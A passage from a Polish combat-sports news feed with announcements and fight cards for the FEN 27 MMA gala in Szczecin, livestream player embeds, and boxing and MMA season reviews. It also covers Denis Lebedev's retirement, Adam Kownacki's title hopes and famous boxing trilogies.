W eliminatorze do pasa mistrzowskiego w kategorii półciężkiej wystąpi Wojciech Janusz, który skrzyżuje pięści z Adamem Kowalskim. „Kulkinio” jest rozpędzony serią czterech kolejnych zwycięstw z rzędu i w znakomitym nastroju przystąpi do rywalizacji w Szczecinie.

Po raz drugi w klatce FEN kibice będą mieli przyjemność oglądać w akcji Katarzynę Lubońską. Zawodniczka pochodząca z Piły od zwycięstwa rozpoczęła swoją przygodę w FEN. Teraz będzie chciała udowodnić, że jest najlepszą kobietą w FEN w kategorii muszej.

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

LIVE: FEN 27 – Trening Medialny

Zapraszamy na transmisję telewizyjną z oficjalnego treningu medialnego przed galą FEN 27.

[kod]

FEN 27 – Media Training

FEN 27 – Media Training

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live-fhd.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live-fhd.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live-fhd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: FEN 27 – Oficjalna Ceremonia Ważenia

Zapraszamy na transmisję telewizyjną z oficjalnej ceremonii ważenia przed galą FEN 27.

[kod]

FEN 27 – Oficjalna Ceremonia Ważenia

FEN 27 – Oficjalna Ceremonia Ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live-fhd.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live-fhd.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live-fhd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Lebiediew zakończył karierę

Były mistrz świata WBA i IBF w wadze junior ciężkiej Denis Lebiediew zakończył karierę. Pięściarz zapisał na swoim koncie 32 zwycięstwa.

Rosjanin zakończenie kariery ogłosił w lipcu 2019 roku. Pogłoski na ten temat krążyły od dłuższego czasu. Lebiediew miał zmierzyć się z Lawrencem Okoliem bądź Arsenem Goulamirianem, jednak nie otrzymał odpowiedniej propozycji i postanowił nie wchodzić do ringu, a wręcz go opuścić. Nie na długo. W listopadzie pojawiła się informacja, że Lebiediew stoczy kolejną walkę. 21 grudnia na gali w Krasnojarski Rosjanin miał zmierzyć się z Thabiso Mchunu. 31-letni bokser z Południowej Afryki swego czasu pokonał Eddi'ego Chambersa, ale przegrał zmagania o pas WBO z Oleksandrem Usykiem. Teraz Mchunu może pochwalić się sukcesem. Na liście pokonanych ma utytułowanego pięściarza, bo Lebiediew w Krasnojarsku był bezradny. Przede wszystkim pięściarz z Afryki był szybszy i skuteczniejszy. Po dwunastu rundach sędziowie punktowali na korzyść Mchunu – 119:108, 120:107, 115:112, który sięgnął po pas WBC Silver. Dla 31-latka było to trzecie zwycięstwo z rzędu. Lebiediew zaliczył nieudany powrót, bo ostatnią walkę stoczył w listopadzie 2018 w Monte Carlo, gdzie pokonał Mike'a Wilsona.

Rosjanin poniósł trzecią porażkę w karierze. Wcześniej sposób na Lebiediewa znaleźli Marco Huck i Murat Gassijew. Po porażce z Mchunu 40-latek podjął decyzję o zakończeniu kariery. – Tym razem odchodzę na dobre – powiedział pięściarz. Czy tak na pewno będzie? Ostatnio Lebiediew uległ i wrócił ze sportowej emerytury, ale ta decyzja miała bolesne konsekwencje.

40-letni pięściarz na zawodowym ringu debiutował 27 lutego 2001 roku. W Moskwie pokonał Teimuraza Kekelidze. Podczas swojej bokserskiej przygody pokonał wiele sław m.in. Roya Jonesa Juniora. W listopadzie 2011 roku Lebiediew wygrał na punkty z Jamesem Toneyem i zapisał na swoim koncie tymczasowe mistrzostwo federacji WBA. Niespełna rok później był pełnosprawnym czempionem. W maju 2016 roku zunifikował tytuły WBA i IBF wygrywając z Victorem Emilio Ramirezem. Ten drugi tytuł stracił na rzecz Gassijewa. Lebiediew został mistrzem WBA w zawieszeniu, zaś pas trafił do Yuniera Dorticosa. Rosjanin nie wystartował w turnieju WBSS i ponad rok nie prezentował się na ringu. Warto również wspomnieć, że Lebiediew rywalizował również z Polakiem Pawłem Kołodziejem, którego znokautował w drugiej rundzie starcia w Moskwie.

Fot. zdjęcie poglądowe

KM

Oczekiwanie na pasy

Rok 2019 w wykonaniu naszych zawodników rywalizujących w UFC obfitował we wzloty i upadki. Na rodzimym rynku również było ciekawie.

Była mistrzyni UFC w wadze słomkowej Joanna Jędrzejczyk w październiku pokonała Michelle Waterson. Tym samym odniosła dziesiąte zwycięstwo w amerykańskiej organizacji. Z niecierpliwością czekamy na występ Polki podczas gali UFC 248. 7 marca w Las Vegas Jędrzejczyk zmierzy się z Weili Zhang o pas w kategorii słomkowej. Tym samym "JJ" może minione dwanaście miesięcy uznać za udane i z nadzieją patrzeć w przyszłość. W odmiennym nastroju jest Karolina Kowalkiewicz. Była zawodniczka KSW w 2019 poniosła trzy porażki w UFC.

Dobra postawa Jana Błachowicza (na zdjęciu) sprawiła, że polski fighter jest w czołówce wagi półciężkiej i coraz częściej wymieniany jest w gronie kandydatów do starcia o pas. Na słowach się jednak kończy… W lutym zawodnik z Cieszyna spotka się z Corey'em Andersonem i będzie miał szansę zrewanżować się za porażkę z 2015 roku. Rywal musi się obawiać. Błachowicz pokazał w 2019 roku, że jest mocny. W lipcu w efektownym stylu w pierwszej rundzie znokautował Luke'a Rockholda. O tym pojedynku mówił cały świat. W listopadzie Polak wygrał z Ronaldo Souzą. Gdyby nie ta porażka z Thiago Santosem, pewnie wspominalibyśmy już walkę z Jonesem. Nie ma co narzekać, trzeba trzymać kciuki i czekać.

Udanie, po zawieszeniu, do rywalizacji w UFC wrócił Michał Oleksiejczuk. Popularny "Lord" w efektowny sposób wygrał dwie walki, powstrzymał go dopiero doświadczony Ovince Saint Preux. Po trzech porażkach z rzędu odrodził się Krzysztof Jotko. W 2019 roku polski zawodnik zanotował dwa zwycięstwa.

Sześć gal zorganizowało KSW. Polska organizacja zdobywała zagraniczne rynki – zaprezentowała się w Londynie i w Zagrzebiu. Pierwszoplanową postacią KSW został Scott Askham, który sięgnął po pas w wadze średniej. Wielkim wydarzeniem był powrót do rywalizacji Mameda Khalidova. W grudniu w Gliwicach pochodzący z Groznego zawodnik zmierzył się z Askhamem. Khalidow przegrał na dystansie trzech rund i poniósł trzecią porażkę z rzędu. Nieudaną próbę podboju wagi ciężkiej zaliczył Tomasz Narkun, który w marcu w Łodzi musiał uznać wyższość Phila de Friesa.

Nie próżnowały również inne organizacje. Cztery gale przygotowała federacja Fight Exclusive Night. Skuteczną obroną pasa w wadze średniej popisał się Andrzej Grzebyk. Dodatkowo zawodnik zapisał na swoim koncie tytuł w kategorii półśredniej. Pod koniec października Grzebyk wydał oświadczenie o tym, że odchodzi z FEN. Powodem były słowa prezesa Pawła Jóźwiaka o unikaniu przez mistrza walki z Danielem Skibińskim.

Interesującym wydarzeniem była gala Babilon MMA 10, która odbyła się w Kopalni Soli w Wieliczce. Po pierwsze – miejsce, po drugie – w walce wieczoru rywalizowano o pasy dwóch organizacji. Daniel Rutkowski pokonał Adriana Zielińskiego, co dało mu pasy Babilon MMA i FEN w wadze piórkowej.

W UFC formą nadal imponuje Amanda Nunes. Brazylijka zapisała się w historii jako pierwsza mistrzyni dwóch kategorii wagowych. Rok temu wywalczyła tytuł w wadze piórkowej, wcześniej posiadała pas kategorii koguciej. W ciągu minionych dwunastu miesięcy odprawiła dwie rywalki – Holly Holm i Germaine de Randamie. W czerwcu Henry Cejudo skutecznie zaatakował pas w wadze koguciej. Amerykanin w Chicago pokonał przez techniczny nokaut Marlona Moraesa.

Rok z pasa wagi ciężkiej cieszył się Daniel Cormier. Amerykanin napisał piękną historię, bo został mistrzem w dwóch kategoriach. Zrzekał się jednak pasa w wadze półciężkiej na rzecz zmagań w kategorii królewskiej. W tym roku Cormier stracił jednak tytuł. W sierpniu w czwartej rundzie pokonał go Stipe Miocić. Skończyło się panowanie Maxa Hollowaya w wadze piórkowej. 14 grudnia nowym czempionem został Alexander Volkanovski.

Fot. Jan Błachowicz Facebook

KM

Cios za ciosem

Koniec roku to czas podsumowań. Minione dwanaście miesięcy obfitowało w boksie w wiele interesujących pojedynków. Ciekawie było zwłaszcza w wadze ciężkiej.

1 czerwca w Madison Square Garden w Nowym Jorku stało się coś, czego nikt się nie spodziewał. Andy Ruiz Jr., który otrzymał szansę rywalizacji z Anthony'm Joshuą po wpadce dopingowej Jarrella Millera, pokonał czempiona przez techniczny nokaut w siódmej rundzie. Pierwsza porażka "AJ" na zawodowym ringu stała się faktem. Rewanż w Arabii Saudyjskiej na korzyść boksera z Wysp Brytyjskich. Joshua wypunktował Ruiza Jr. i wygrał na punkty, dzięki czemu pasy IBF, WBA i WBO wróciły do niego.

Wszyscy czekają na rewanżowe starcie Deontaya Wildera i Tysona Fury'ego, które zaplanowano na 22 lutego 2020 roku. Ponad dwanaście miesięcy temu rywalizacja pięściarzy zakończyła się remisem. W ciągu ostatniego roku obaj nie próżnowali. Mistrz WBC Wilder w maju w pierwszej rundzie odprawił Dominica Breazeale'a, zaś w listopadzie w siódmej odsłonie znokautował Luisa Ortiza, choć wcześniej Kubańczyk prezentował się lepiej. Tyson Fury również dołożył do swojego rekordu dwa zwycięstwa. Olbrzym z Wilmslow odprawił Toma Schwarza i Otto Wallina.

Z uwagą śledziliśmy kolejne występy Adama Kownackiego. 30-latek urodzony w Łomży pokonał znanych Geralda Washingtona i Chrisa Arreolę. Wydaje się, że Polak może myśleć o walce o pas. W ostatnim czasie mówiło się o pojedynku Kownackiego z Kubratem Pulewem o pas IBF. W tej kwestii wiele zależy od Joshuy – czy będzie chciał bronić tytułu.

Wiele emocji wywołała walka Krzysztofa Głowackiego z Mairisem Briedisem w półfinale turnieju World Boxing Super Series. W Rydze Łotysz zachował się skandalicznie. Briedis uderzył Głowackiego łokciem, potem trafił go po gongu. Pojedynek zakończył się w trzeciej rundzie na korzyść łotewskiego pięściarza. Ten w całej sytuacji nie widział problemów. Polski obóz odwoływał się od niesportowego zachowania Łotysza. Cierpliwość popłacała – władze WBO nakazały rewanż, Briedis nie podjął jednak rękawicy i nie przystąpił do rozmów. Tym samym boksera pozbawiono tytułu. O pas Głowackie ma zmierzyć się z Lawrence'm Okolie.

Tempa nie zwalnia 41-letni Manny Pacquiao. W styczniu Filipińczyk pokonał Adriana Bronera, a w lipcu wygrał z Keithem Thurmanem i sięgnął po pas wagi półśredniej WBA. Nie do zatrzymania jest Terence Crawford. Amerykanin skutecznie broni pasa WBO w wadze półśredniej. W 2019 roku nie sprostali mu Amir Khan i Egidijus Kavaliauskas.

Kolejne wyzwanie podjął Saul Alvarez. Rok temu Meksykanin pokonał Rocky'ego Fielding i zdobył tytuł WBA w wadze super średniej. Tym samym zapisał na swoim koncie pas w trzeciej kategorii. W 2019 roku postanowił wrócił do wagi średniej. W T-Mobile Arenie w Las Vegas "Canelo" pokonał na punkty Daniela Jacobsa i zunifikował tytuły WBC, WBA i IBF. Alvarezowi było mało sukcesów, a więc powziął za cel zdobycie trofeum. 2 listopada w MGM Grand w Las Vegas spotkał się z Sergiejem Kowaliowem w starciu o pas WBO wagi półciężkiej. Meksykanin zwyciężył przez techniczny nokaut w jedenastej odsłonie.

W kategorii lekkiej niepodzielnie panuje Wasyl Łomaczenko. 31-letni Ukrainiec w sierpniu zunifikował pas WBC, WBA oraz WBO pokonując Luke'a Campbella. Było to czternaste zwycięstwo Łomaczenki w karierze. Ponad rok na sukces musiał czekać Giennadij Gołowkin. Co prawda w czerwcu pokonał Steve'a Rollsa, ale po ubiegłorocznej porażce z Alvarezem nadal pozostawał bez pasów. W październiku Kazach zdobył tytuły IBF i IBO wagi średniej pokonując Sergieja Derewianczenkę.

W marcu Kamil Szeremeta obronił mistrzostwo Europy, a w październiku udanie zadebiutował w Stanach Zjednoczonych pokonując Oscara Cortesa. W przyszłym roku Polak ma rywalizować z Gołowkinem. Pojedynek prawdopodobnie odbędzie się na przełomie lutego i marca.

Szansy na zdobycie mistrzowskiego pasa WBO nie wykorzystał Maciej Sulęcki. Demetrius Andrade pewnie pokonał Polaka na punkty – trzy raz po 120:107.

Fot. pixabay

KM

 

Kownacki czeka na Joshuę

Adam Kownacki cierpliwie czeka na ruch Anthony’ego Joshuy w sprawie pasa IBF. Wiadomo, że „Baby Face” wróci na ring na przełomie lutego i marca.

W kończącym się roku Kownacki pokonał Geralda Washingtona i Chrisa Arreolę. Polaka wymieniało się jako jednego z kandydatów do rywalizacji z Joshuą po wpadce dopingowej Jarrella Millera. „AJ” spotkał się z Andy’m Ruizem Jr. i stracił pasy mistrzowskie, ale w rewanżu w Arabii Saudyjskiej je odzyskał. Kownackiego interesuje zwłaszcza tytuł IBF. Akcje Polaka w rankingu stoją wysoko, wyprzedza go tylko Kubrat Pulew. – Miałem nadzieję, że będę miał jakieś konkrety z walką. Niestety ich nie mam. Czekam na ruch Joshuy, co zrobi z pasem IBF –  odda czy będzie bronił? – powiedział Kownacki w AK Show. –  W mediach mówią, że może to będzie tytuł WBO, jednak dają na to małe szanse. Myślę, że to taktyka medialna, żeby pchać Pulewa do tej walki. Zobaczymy, co się stanie – dodaje pięściarz.

Kownacki trenuje i cierpliwe czeka. Wie, że jego akcje stoją wysoko i szansa na walkę o pas mistrzowski jest na wyciągnięcie ręki. Bez wątpienia Polak jest jednym z czołowych pięściarzy wagi ciężkiej i w efektownym stylu pokonuje kolejnych rywali. Wiele wskazuje na to, że najpierw Joshua zmierzy się z Pulewem. Dopóki nic nie jest pewne, trzeba mieć nadzieję. – Czekam na swoje. Nie chcę czegoś ustalić jeszcze z drużyną. Później okaże się, że jest szansa na tytuł, a ja będę miał coś ustawione. Na razie czekam. Wiem, że walka będzie koniec lutego bądź początek marca. Trenuję już jakieś 10-12 tygodni – wyjaśnia 30-letni bokser.

Niewykluczone, że najbliższym rywalem Kownackiego będzie Dominic Breazeale. 34-letni pięściarz szuka kolejnych wyzwań po nieudanej próbie zdobycia pasa WBC. W maju w Barclays Center Breazeale przegrał w pierwszej rundzie z Deontayem Wilderem. Ponad trzy lata temu Amerykanin walczył z Joshuą o pas IBF, jednak bez efektu. 34-latek dotrwał do siódmej rundy. W swojej karierze Breazeale pokonał m.in. Izuagbe Ugonoha, Erica Molinę czy Freda Kassiego.

Fot. Adam Kownacki Instagram

KM

 

Hit coraz bliżej?

Scott Askham i Tomasz Narkun zmierzą się na KSW 53? To niewykluczone. Obaj wyrazili gotowość do rywalizacji.

31-letni Anglik coraz śmielej poczyna sobie w polskiej organizacji. Askham debiut w KSW zaliczył w marcu 2018 roku w Łodzi, kiedy to już w pierwszej rundzie znokautował Michała Materlę. Były zawodnik UFC przebojowo rozpoczął przygodę z federację Martina Lewandowskiego i Macieja Kawulskiego, a później pokazał, że nie był to przypadek. Anglik wziął udział w turnieju w wadze średniej, który miał wyłonić nowego mistrza tej kategorii. W półfinale Askham w niewiele ponad minutę uporał się z Marcinem Wójcikiem. O pas Anglikowi przyszło rywalizować z Materlą. Polak chciał się zrewanżować za porażkę i walczył ambitnie, jednak 31-latek okazał sęę lepszy. W trzeciej rundzie Askham znokautował Materlę latającym kolanem i sięgnął po pas mistrzowski. To kolejne sukcesy w karierze zawodnika urodzonego w Hemsworth. Wcześniej był mistrzem BAMMA oraz Ultimate Cage FC.

Rozpędzony Askham w kolejnej walce w KSW spotkał się z legendą organizacji Mamedem Khalidovem. Dla byłego czempiona wagi średniej był to powrót po trudnych przejściach. Khalidov chciał się przełamać po dwóch porażkach z Tomaszem Narkunem, ale ta sztuka nie udała mu się. 7 grudnia podczas KSW 52: Race ręce w geście triumfu wzniósł Scott Askham.

Anglik wyrósł na gwiazdę KSW i szuka kolejnych wyzwań. Po walce z Khalidovem, zwrócił się w sprawie ewentualnej rywalizacji do mistrza kategorii półciężkiej Tomasza Narkuna. Popularny "Żyrafa" ma mocną pozycję w KSW. Narkun chciał sięgnąć po drugi pas mistrzowski, ale w marcu w Łodzi lepszy okazał się Phil de Fries i to on dzierży tytuł w kategorii ciężkiej. Narkun pokonał ostatnio przez duszenie gilotynowe Przemysława Mysiałę.

Starcie Askhama i Narkuna miałoby być superfightem. Polak wyraził gotowość do startu, ale w całej sytuacji zabrakło konkretów. Z pomocą przyszły… media społecznościowe. 21 grudnia Narkun zamieścił krótkie nagranie z treningu. Askham zaproponował starcie na KSW 53 komentując, że to bliski termin, ale będzie gotowy. "Chyba, że masz inne plany na ten wieczór… to spoko" – odpisał "Żyrafa". Z kolei Askham zaapelował do właścicieli KSW, aby zajęli się sprawą. Wielki hit już w marcu?

KM

Joniak w miejsce Wojtasa na FEN 27

Mariusz Joniak (5-4, 5 SUB) zastąpi Igora Wojtasa podczas gali FEN 27 w Szczecinie. Zawodnik z Dzierżoniowa zmierzy się 18 stycznia z Patrykiem Trytkiem (2-0, 2 KO).

Joniak 18 stycznia galą w Szczecinie zadebiutuje na FEN, a pojedynek z Trytkiem będzie największym wyzwaniem w jego dotychczasowej karierze. 22-latek trenuje pod okiem Sławomira Grabowskiego i znakomita baza parterowa pomogła mu zanotować pięć zwycięstw przez poddania swoich rywali. W sierpniu tego roku Joniak pokazał się ze znakomitej strony i pewnie pokonał Piotra Olszynkę. Dokładnie w ten sam sposób, techniką „północ-południe”, styczniowy debiutant rozprawił się dwa lata wcześniej z Aleksanderem Kellerem.

Trytek to reprezentant Berserkers Team Szczecin, który na zawodowstwie zadebiutował w czerwcu 2018 roku, kiedy przez nokaut w 1. rundzie wygrał z Robertem Gromadą. Maj kolejnego roku był dla niego równie udany, gdyż także przez nokaut rozprawił się z Ukraińcem, Mikhailem Kurchem.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA

61,2 KG, MMA: Sebastian Romanowski VS TBA
70,0 KG, K-1: Marcin Parcheta VS TBA

77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski

61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Vilson Junior dla Romanowskiego na FEN 27

Vilson Junior (11-4-1, 6 KO, 2 SUB) zmierzy się z Sebastianem Romanowskim (13-8-1, 4 KO, 2 SUB) podczas gali FEN 27 w Szczecinie. Reprezentant Kraju Kawy przywita się tym samym z federacją debiutując na polskiej ziemi.

Vilson Junior lubi często kończyć walki przed czasem, o czym przekonało się aż ośmiu rywali, których pokonywał przez nokauty i poddania. Na przełomie 2017 i 2018 roku Brazylijczyk miał serię czterech kolejnych zwycięstw na swoim koncie. 24-latek na zawodowstwie jest od 2014 roku i pierwszych pięć swoich pojedynków wygrał. W 2019 roku przegrał po bardzo dobrym pojedynku z Olexandrem Pletenko w co-main evencie gali WWFC 16, która odbyła się w Kijowie.

Romanowski to jeden z najlepszych i najbardziej doświadczonych zawodników w Polsce w kategorii koguciej. „Szczena” w przeszłości walczył również w dywizji piórkowej, więc wie, w jaki sposób walczyć z fighterami o lepszych warunkach fizycznych. Pod koniec 2017 roku Romanowski wygrał dzięki jednogłośnej decyzji sędziów z Evgenim Ryazanowem. Po przerwie od zawodowych startów spowodowanej kontuzją wrócił do rywalizacji w klatce pokonując Nikołaja Kondratuka.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
61,2 KG, MMA: Sebastian Romanowski VS Vilson Junior
70,0 KG, K-1: Marcin Parcheta VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Kowalski dla Janusza w przedostatnim kroku po pas

Adam Kowalski (11-5, 2 KO, 3 SUB) będzie rywalem Wojciecha Janusza (8-4, 3 KO, 2 SUB) w pojedynku, który będzie 18 stycznia co-main eventem gali FEN 27 w Szczecinie. Będzie to eliminator do walki o pas mistrzowski FEN w kategorii półciężkiej.

Kowalski na zawodowstwo przeszedł bardzo dawno temu, bo w 2011 roku, gdy przez poddanie pokonał Kacpra Dzikiewicza. Na swoim rozkładzie ma ponadto takich fighterów, jak Szymon Piątkowski, Ireneusz Cholewa i Arkadiusz Jędraczka. W październiku 2018 roku Kowalski w 1. rundzie przez TKO zwyciężył z Wojciechem Orłowskim. Podczas debiutu pod szyldem FEN poddał w 1. rundzie Rafała Kijańczuka.

Janusz jest napędzony czterema kolejnymi zwycięstwami z rzędu. Ze znakomitej strony zawodnik Berserkers Team Szczecin pokazał się podczas gali FEN 25, gdy znokautował Michała Gutowskiego w 1. rundzie.

Janusz był wielokrotnym mistrzem Polski w brazylijskim jiu-jitsu i mistrzem Polski ADCC w Submission Fighting. „Kulkinio” udanie debiutował na FEN 7 Real Combat w Bydgoszczy, pokonując błyskawicznie Andrzeja Piątkowskiego. Miesiąc wcześniej wygrał poddał 1. rundzie Krzysztofa Pietraszka. Ponownie z Pietraszkiem skonfrontował się w październiku 2018 roku i walka zakończyła się w ten sam sposób – poddaniem Janusza. Zawodnik ze Szczecina stoczył w swojej karierze trzyrundowe boje z Michałem Oleksiejczukiem i Marcinem Wójcikiem.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS Adam Kowalski
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
61,2 KG, MMA: Sebastian Romanowski VS Vilson Junior
70,0 KG, K-1: Marcin Parcheta VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Dourthe rywalką Lubońskiej na FEN 27

Eva Dourthe (4-3, 1 SUB) będzie 18 stycznia w Szczecinie rywalką Katarzyny Lubońskiej (7-2, 2 SUB) podczas gali FEN 27. Zawodniczka z Francji zadebiutuje tym samym pod szyldem federacji.

Dourthe stosunkowo krótko przebywa na zawodowstwie, gdyż debiut zaliczyła w marcu 2017 roku. Pierwsze trzy pojedynki padły łupem Francuzki, która dwukrotnie zwyciężyła na pełnym dystansie, a raz poddała swoją rywalkę w 3. odsłonie pojedynku. Pod koniec 2018 roku Dourthe wygrała z Mayarą Thays po trzech rundach dzięki jednogłośnej decyzji sędziów.

Lubońska zwyciężyła w czerwcu 2019 roku w Ostródzie podczas swojego debiutu na FEN. Zawodniczka pochodząca z Piły to jedna z najlepszych kobiet w Polsce mieszanych sztuk walki. Lubońska trenuje w uznanym poznańskim klubie Czerwony Smok i tam szlifuje swoje umiejętności.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS Adam Kowalski
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS Eva Dourthe
61,2 KG, MMA: Sebastian Romanowski VS Vilson Junior
70,0 KG, K-1: Marcin Parcheta VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Rosyjski olbrzym Kiser rywalem Sianosa w Szczecinie

Aleksey Kiser (10-4, 8 KO, 2 SUB) będzie rywalem Marcina Sianosa (4-4, 4 KO) podczas gali FEN 27 w Szczecinie. Będzie to debiut rosyjskiego olbrzyma w klatce FEN.

Kiser wszystkie swoje 10 zwycięstw zanotował przed czasem ośmiokrotnie nokautując swoich przeciwników i dwukrotnie ich poddając. Fighter z Orenburga może pochwalić się pięcioma kolejnymi zwycięstwami przed czasem i tylko jedno z nich wyszło poza pierwszą rundę. Co bardzo ważne – Kiser wszystkie te pojedynki stoczył w 2019 roku. Jego ostatnią „zdobyczą” jest Shamil Shmulev, którego znokautował po niespełna trzech minutach walki.

Sianos spośród czterech zwycięskich walk na zawodowstwie wszystkie skończył w ten sam sposób – nokautując swoich rywali. O sile jego prawej ręki przekonał się Marcin Zontek, który jeszcze w pierwszej odsłonie musiał uznać wyższość polskiego kolosa i padł na deski, a w konsekwencji przegrał pojedynek. Wcześniej Sianos stoczył krwawy bój z Grzegorzem Cieplińskim i już w premierowej odsłonie rozprawił się z Mateuszem Łazowskim.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov *
93,0 KG, MMA: Wojciech Janusz VS Adam Kowalski
120,2 KG, MMA: Marcin Sianos VS Aleksey Kiser
56,7 KG, MMA: Katarzyna Lubońska VS Eva Dourthe
61,2 KG, MMA: Sebastian Romanowski VS Vilson Junior
70,0 KG, K-1: Marcin Parcheta VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
61,2 KG, MMA: Patryk Trytek VS Mariusz Joniak
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt

* Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Bokserska trylogia

22 lutego w Las Vegas rękawice skrzyżują Deontay Wilder i Tyson Fury. Dla obu pięściarzy będzie to druga walka, ale wcale nie oznacza, że ostatnia. Prawdopodobnie latem pięściarze stoczą trzeci pojedynek.

Boks to wielkie emocje i zacięta rywalizacja o zwycięstwo. Ten, który wygra staje się bożyszczem tłumów. Bez dwóch zdań taki charakter ma rewanżowe starcie Wildera z Fury’m. Po lutowej walce jeden z nich będzie noszony na rękach i wzniesie w górę pas mistrzowski WBC, który należy do Amerykanina. Słychać już, że starcie w Las Vegas to odcinek drogi czekającej pięściarzy. Promotor Fury'ego Franek Warren zapowiedział, że "Olbrzym z Wilmslow" spotka się z obecnym czempionem WBC po raz trzeci. Ma nastąpić to latem 2020 roku. Takie są zapisy kontraktu pomiędzy stronami.

W boksie często pięściarze pałają chęcią rewanżu. Niejednokrotnie dochodzi do kolejnych walk, a zawodnicy piszą piękne historie. Trylogia w świecie boksu to nic nowego. Być może na naszych oczach rodzi się historia, o której za lat naście wszyscy będą mówić z wypiekami na twarzy. Dziś w taki sposób wspominamy przepiękną rywalizację Muhammada Aliego z Joe Frazierem. 8 marca 1971 roku doszło do walki stulecia. W Madison Square Garden spotkało się dwóch niepokonanych pięściarzy. Przed pojedynkiem nie brakowało prowokacji i cierpkich słów. W ringu Ali i Frazier stworzyli prawdziwe widowisko. Złoty medalista igrzysk olimpijskich w Rzymie zaliczył deski! 15-rundowy pojedynek zakończył się triumfem Fraziera, który wygrał jednogłośnym werdyktem sędziów. Rewanż miał miejsce w styczniu 1974 roku. Przed pojedynkiem nie brakowało emocji, ale ich szczyt miał miejsce w studiu telewizyjnym, gdzie doszło do bójki pięściarzy. W ringu – 12 rund i zwycięstwo Aliego. Trzecie starcie odbyło się 1 października 1975 roku na Filipinach. Przed pojedynkiem Ali nie szczędził cierpkich słów rywalowi. Frazier zapewniał, że w ringu odpłaci się przeciwnikowi. Walka miała niezwykle emocjonujący przebieg, w którym dominowały ciosy z obu stron. Niesamowita kondycja, siła i wola rywalizacji. Trener Fraziera zabronił mu wyjść do ostatniej rundy. Po starciu Ali podkreślał, że rywal jest wielkim bokserem. Ten pojedynek przez wielu uznawany jest za najlepszą walkę w historii.

Mówiąc o trylogiach bokserskich warto wskazać na inną rywalizację w wadze królewskiej. Wielkie emocje wzbudziły zmagania Riddicka Bowe'go z Evanderem Holyfieldem. Pierwsze starcie w listopadzie 1992 roku wygrał srebrny medalista igrzysk z Seulu, który zdobył pasy WBC, WBA i IBF. Rok później doszło do rewanżu. Holyfield okazał się lepszy i sięgnął po tytuły. Trzecie starcie miało miejsce w listopadzie 1995 roku. Bowe w szóstej rundzie znalazł się na deskach, ale wstał i walczył dalej. W ósmej odsłonie to on mógł świętować zwycięstwo.

Fajnie wspominać i ekscytować się niezapomnianymi pojedynkami. Z niecierpliwością czekamy na drugie starcie Wildera i Fury’ego. 1 grudnia 2018 roku pięściarze stworzyli ciekawe widowisko. Zwłaszcza Fury zaskoczył świat i samego mistrza. Ociężały Brytyjczyk, który wrócił do zmagań po wielu perypetiach dał pokaz boksu na wysokim poziomie. Walka ostatecznie zakończyła się remisem. Fury ma mistrzowskie aspiracje. 22 lutego może zdegradować Wildera. A jeśli nie teraz to może latem? Czekamy na trylogię, ale taką napisaną w pięknym stylu – w ringu, a nie tylko poza nim.

Fot. Tyson Fury Facebook

KM

Koniec przygody?

